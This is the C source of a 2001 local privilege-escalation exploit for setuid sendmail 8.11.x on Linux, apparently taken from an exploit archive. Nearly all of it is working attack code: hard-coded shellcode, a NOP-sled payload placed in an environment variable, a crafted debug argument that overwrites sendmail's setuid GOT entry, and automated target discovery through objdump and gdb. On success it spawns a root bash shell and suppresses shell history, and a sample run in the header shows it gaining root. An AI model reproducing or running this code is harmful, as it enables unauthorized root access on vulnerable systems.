/*
sendmail 8.11.x exploit (i386-Linux) by sd@sf.cz (sd@ircnet)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
This code exploits well-known local-root bug in sendmail 8.11.x,
8.12.x may be vulnerable too, but I didn't test it.
It gives instant root shell with +s sendmail 8.11.x, x < 6
We're using objdump, gdb & grep in order to obtain VECT, so make sure
that they're on $PATH, works with 80% accuracy on stripped binaries
on several distros without changing offsets (rh7.0, rh7.1, suse7.2,
slackware 8.0...)
Greetz:
mlg & smoke : diz is mostly for .ro ppl ;) killall sl3
sorcerer : stop da fuckin' asking me how to sploit sm, diz crap
is for lamers like you ;))))
devik : sm 0wns ;)
to #linux.cz, #hack ....
.... and to alot of other ppl, where i can't remeber theyr handles ;)
args:
-d specify depth of analysis (default=32) [bigger = more time]
-o change offset (default = -32000) [between 1000..-64000]
-v specify victim (default /usr/sbin/sendmail) [+s sm binary]
-t specify temp directory (default /tmp/.sxp)
[temporary files, should be mounted as nosuid]
An example (redhat 7.0 CZ):
-------------------------------------------------------------------------------
[sd@pikatchu sxp]$ gcc sx.c -o sx
[sd@localhost sxp]$ ./sx
...-=[ Sendmail 8.11.x exploit, (c)oded by sd@sf.cz [sd@ircnet], 2001 ]=-...
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
[*] Victim = /usr/sbin/sendmail
[*] Depth = 32
[*] Offset = -16384
[*] Temp = /tmp/.sxp
[*] ESP = 0xbfffe708
[+] Created /tmp/.sxp
[+] Step 1. setuid() got = 0x080aa028
[*] Step 2. Copying /usr/sbin/sendmail to /tmp/.sxp/sm...OK
[*] Step 3. Disassembling /tmp/.sxp/sm...OK, found 3 targets
[*] Step 4. Exploiting 3 targets:
[1] (33% of targets) GOT=0x080aa028, VECT=0x00000064, offset=-16384
[2] (66% of targets) GOT=0x080aa028, VECT=0x080c6260, offset=-16384
Voila babe, entering rootshell!
Enjoy!
uid=0(root) gid=0(root) groups=0(root)
[root@pikatchu /]# whoami
root
[root@pikatchu /]# exit
exit
Thanx for choosing sd's products ;)
[sd@pikatchu sxp]$
--------------------------------------------------------------------------------
Enjoy! And don't abuse it too much :)
*/
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/wait.h>
#include <string.h>
#define SM "/usr/sbin/sendmail"
#define OBJDUMP "objdump"
#define GDB "gdb"
#define GREP "grep"
#define OURDIR "/tmp/.sxp"
/* an basic regexp to get interesting stuff from disassembled output
change it as you like if something doesn't work */
#define DLINE "%s -d %s 2> /dev/null | %s -B %d \"mov.*%%.l,(%%e..,%%e..,1)\" | %s \".mov .*0x80.*,%%e..\""
#define DLINEA OBJDUMP, vict, GREP, depth, GREP
#define BRUTE_DLINE "%s -d %s 2> /dev/null | %s \".mov .*0x80.*,%%e..\""
#define BRUTE_DLINEA OBJDUMP, vict, GREP
#define NOPLEN 32768
#define uchar unsigned char
#define NOP 0x90
/* 19 bytes ;), shell must be appended */
char shellcode[] =
"\xeb\x0c\x5b\x31\xc0\x50\x89\xe1"
"\x89\xe2\xb0\x0b\xcd\x80\xe8\xef"
"\xff\xff\xff";
char scode[512];
char dvict[] = SM;
struct target {
uint off;
uint brk;
uint vect;
};
unsigned int get_esp()
{
__asm__("movl %esp,%eax");
}
char ourdir[256] = OURDIR;
/* cleanup */
void giveup(int i)
{
char buf[256];
sprintf(buf, "/bin/rm -rf %s > /dev/null 2> /dev/null", ourdir);
system(buf);
if (i >= 0) exit(i);
}
/* main sploit, stolen mostly from alsou.c ;) */
void sploit(char *victim, uint got, uint vect, uint ret)
{
uchar egg[sizeof(scode) + NOPLEN + 5];
char s[512] = "-d";
char *argv[3];
char *envp[2];
uint first, last, i;
strcpy(egg, "EGG=");
memset(egg + 4, NOP, NOPLEN);
strcpy(egg + 4 + NOPLEN, scode);
last = first = -vect - (0xffffffff - got + 1);
while (ret) {
char tmp[256];
i = ret & 0xff;
sprintf(tmp, "%u-%u.%u-", first, last, i);
strcat(s, tmp);
last = ++first;
ret = ret >> 8;
}
s[strlen(s) - 1] = 0;
argv[0] = victim;
argv[1] = s;
argv[2] = NULL;
envp[0] = egg;
envp[1] = NULL;
execve(victim, argv, envp);
}
int use(char *s)
{
printf("%s [command] [options]\n"
"-h this help\n"
"-d specify depth of analysis (default=32)\n"
"-o change offset (default = -32000)\n"
"-v specify victim (default /usr/sbin/sendmail)\n"
"-t specify temp directory (default /tmp/.sxp)\n"
"-b enables bruteforce (WARNING: this may take about 20-30 minutes!)\n", s);
return 1;
}
/* exploited flag */
int exploited = 0;
/* child root-shell will send us SIGUSR if everything is ok */
void sigusr(int i)
{
exploited++;
giveup(-1);
}
int main(int argc, char *argv[])
{
char victim[256] = SM;
char vict[256];
char gscr[256];
char path[256];
char d[256];
struct stat st;
FILE *f;
char buf[256];
int got;
struct target t[1024];
uint off, ep, l;
int i,j;
int offset = -16384;
int esp;
int depth = 32;
int brute = 0;
/* rootshell (if argv[0] == NULL) */
if (!*argv) {
/* open stdin and stdout */
dup2(2, 0);
dup2(2, 1);
setuid(0); /* regain root privs */
setgid(0);
/* send signal to parent that exploit is done */
kill(getppid(), SIGUSR1);
/* l-a-m-e ;) */
printf("\nVoila babe, entering rootshell!\nEnjoy!\n"); fflush(stdout);
chdir("/");
system("/usr/bin/id");
setenv("BASH_HISTORY", "/dev/null", 1);
execl("/bin/bash", "-bash", NULL);
}
printf("\n...-=[ Sendmail 8.11.x exploit, (c)oded by sd@sf.cz [sd@ircnet], 2001 ]=-...\n"
" ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n");
while ( ( i = getopt(argc, argv, "hd:o:v:t:b") ) != EOF) {
switch (i) {
case 'd':
if ((!optarg) || (sscanf(optarg, "%d", &depth) != 1))
return use(argv[0]);
break;
case 'o':
if ((!optarg) || (sscanf(optarg, "%d", &offset) != 1))
return use(argv[0]);
break;
case 'v':
if (!optarg) return use(argv[0]);
strcpy(victim, optarg);
break;
case 't':
if (!optarg) return use(argv[0]);
strcpy(ourdir, optarg);
break;
case 'b':
brute++;
break;
case 'h':
default:
return use(argv[0]);
}
}
if (brute) printf("[*] Using brute force, this may take some time\n");
/* create full path to rootshell, cause
sendmail will change it's cwd */
path[0] = 0;
if (argv[0][0] != '/') {
getcwd(path, 256);
}
/* construct shellcode */
sprintf(scode, "%s%s/%s", shellcode, path, argv[0]);
/* get stack frame */
esp = get_esp();
close(0);
signal(SIGUSR1, sigusr);
/* remove old stuff */
giveup(-1);
printf( "[*] Victim = %s\n"
"[*] Depth = %d\n"
"[*] Offset = %d\n"
"[*] Temp = %s\n"
"[*] ESP = 0x%08x\n",
victim,
depth,
offset,
ourdir,
esp);
stat(victim, &st);
if ((st.st_mode & S_ISUID) == 0) {
printf("[-] Bad: %s isn't suid ;(\n", victim);
}
if (access(victim, R_OK + X_OK + F_OK) < 0) {
printf("[-] Bad: We haven't access to %s !\n", victim);
}
if (mkdir(ourdir, 0777) < 0) {
perror("[-] Can't create our tempdir!\n");
giveup(1);
}
printf("[+] Created %s\n", ourdir);
sprintf(buf, "%s -R %s | grep setuid", OBJDUMP, victim);
f = popen(buf, "r");
if (fscanf(f, "%x", &got) != 1) {
pclose(f);
printf("[-] Cannot get setuid() GOT\n");
giveup(1);
}
/* get GOT */
pclose(f);
printf("[+] Step 1. setuid() got = 0x%08x\n", got);
sprintf(vict, "%s/sm", ourdir);
printf("[*] Step 2. Copying %s to %s...", victim, vict); fflush(stdout);
sprintf(buf, "/bin/cp -f %s %s", victim, vict);
system(buf);
if (access(vict, R_OK + X_OK + F_OK) < 0) {
perror("Failed");
giveup(1);
}
printf("OK\n");
/* disassemble & find targets*/
printf("[*] Step 3. Disassembling %s...", vict); fflush(stdout);
if (!brute) {
sprintf(buf, DLINE, DLINEA);
} else {
sprintf(buf, BRUTE_DLINE, BRUTE_DLINEA);
}
f = popen(buf, "r");
i = 0;
while (fgets(buf, 256, f)) {
int k, dontadd = 0;
if (sscanf(buf, "%x: %s %s %s %s %s %s 0x%x,%s\n",
&ep, d, d, d, d, d, d, &off, d) == 9) {
/* same value ? */
for (k=0; k < i; k++) {
if (t[k].off == off) dontadd++;
}
/* new value ? */
if (!dontadd) {
/* add it to table */
t[i].off = off;
t[i++].brk = ep;
}
}
}
pclose(f);
printf("OK, found %d targets\n", i);
/* gdb every target and look for theyr VECT */
printf("[*] Step 4. Exploiting %d targets:\n", i); fflush(stdout);
sprintf(gscr, "%s/gdb", ourdir);
off = 0;
for (j=0; j < i; j++) {
/* create gdb script */
f = fopen(gscr, "w+");
if (!f) {
printf("Cannot create gdb script\n");
giveup(1);
}
fprintf(f, "break *0x%x\nr -d1-1.1\nx/x 0x%x\n", t[j].brk, t[j].off);
fclose(f);
sprintf(buf, "%s -batch -x %s %s 2> /dev/null", GDB, gscr, vict);
f = popen(buf, "r");
if (!f) {
printf("Failed to spawn gdb!\n");
giveup(1);
}
/* scan gdb's output */
while (1) {
char buf[256];
char *p;
t[j].vect = 0;
p = fgets(buf, 256, f);
if (!p) break;
if (sscanf(p, "0x%x %s 0x%x", &ep, d, &l) == 3) {
t[j].vect = l;
off++;
break;
}
}
pclose(f);
if (t[j].vect) {
int pid;
printf("[%d] (%d%% of targets) GOT=0x%08x, VECT=0x%08x, offset=%d\n", j, j*100/i , got, t[j].vect, offset);
fflush(stdout);
pid = fork();
if (pid == 0) {
close(1);
sploit(victim, got, t[j].vect, esp + offset);
}
/* wait until sendmail finishes (expoit failed)
or until SIGUSR arrives */
wait(NULL);
/* exploited ?? */
if (exploited) {
wait(NULL); /* kill zombie */
printf("Thanx for choosing sd's products ;)\n");
exit(0);
}
}
}
printf("[-] All targets failed, probably not vulnerable ;(\n");
giveup(1);
}
/* That's all. */
// milw0rm.com [2001-01-01]
